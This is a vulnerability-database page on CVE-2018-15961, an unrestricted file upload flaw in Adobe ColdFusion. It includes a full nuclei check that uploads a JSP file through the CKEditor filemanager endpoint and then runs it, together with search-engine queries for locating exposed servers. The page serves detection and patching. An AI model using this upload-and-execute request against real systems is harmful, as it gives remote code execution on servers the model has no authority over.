HexBrain

Browse / CVEs / CVE-2018-15961

CVE-2018-15961· adobe / coldfusion· CWE-434

Adobe ColdFusion - Unrestricted File Upload Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution.

Impact

Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to take control of the affected system.

Fix

Apply the necessary security patches or updates provided by Adobe to fix this vulnerability.

How to confirm it

Send: POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm ; GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp
Positive when: contains "ddbb3e76f92e78c445c8ecb392beb225" AND status 200

Run it with nuclei: nuclei -id CVE-2018-15961 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-15961

info:
  name: Adobe ColdFusion - Unrestricted File Upload Remote Code Execution
  author: SkyLark-Lab,ImNightmaree
  severity: critical
  description: Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution.
  impact: |
    Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to take control of the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Adobe to fix this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15961
    - https://github.com/xbufu/CVE-2018-15961
    - https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html
    - http://web.archive.org/web/20220309060906/http://www.securitytracker.com/id/1041621
    - http://www.securitytracker.com/id/1041621
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-15961
    cwe-id: CWE-434
    epss-score: 0.9995
    epss-percentile: 0.99974
    cpe: cpe:2.3:a:adobe:coldfusion:11.0:-:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - title="coldfusion administrator login"
      - app="adobe-coldfusion"
    google-query: intitle:"coldfusion administrator login"
  tags: cve,cve2018,adobe,rce,coldfusion,fileupload,kev,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------24464570528145

        -----------------------------24464570528145
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
        Content-Type: image/jpeg

        <%@ page import="java.util.*,java.io.*"%>
        <%@ page import="java.security.MessageDigest"%>
        <%
        String cve = "CVE-2018-15961";
        MessageDigest alg = MessageDigest.getInstance("MD5");
        alg.reset();
        alg.update(cve.getBytes());
        byte[] digest = alg.digest();
        StringBuffer hashedpasswd = new StringBuffer();
        String hx;
        for (int i=0;i<digest.length;i++){
          hx =  Integer.toHexString(0xFF & digest[i]);
          if(hx.length() == 1){hx = "0" + hx;}
          hashedpasswd.append(hx);
        }
        out.println(hashedpasswd.toString());
        %>
        -----------------------------24464570528145
        Content-Disposition: form-data; name="path"

        {{randstr}}.jsp
        -----------------------------24464570528145--
      - |
        GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ddbb3e76f92e78c445c8ecb392beb225" # MD5 of CVE-2018-15961

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from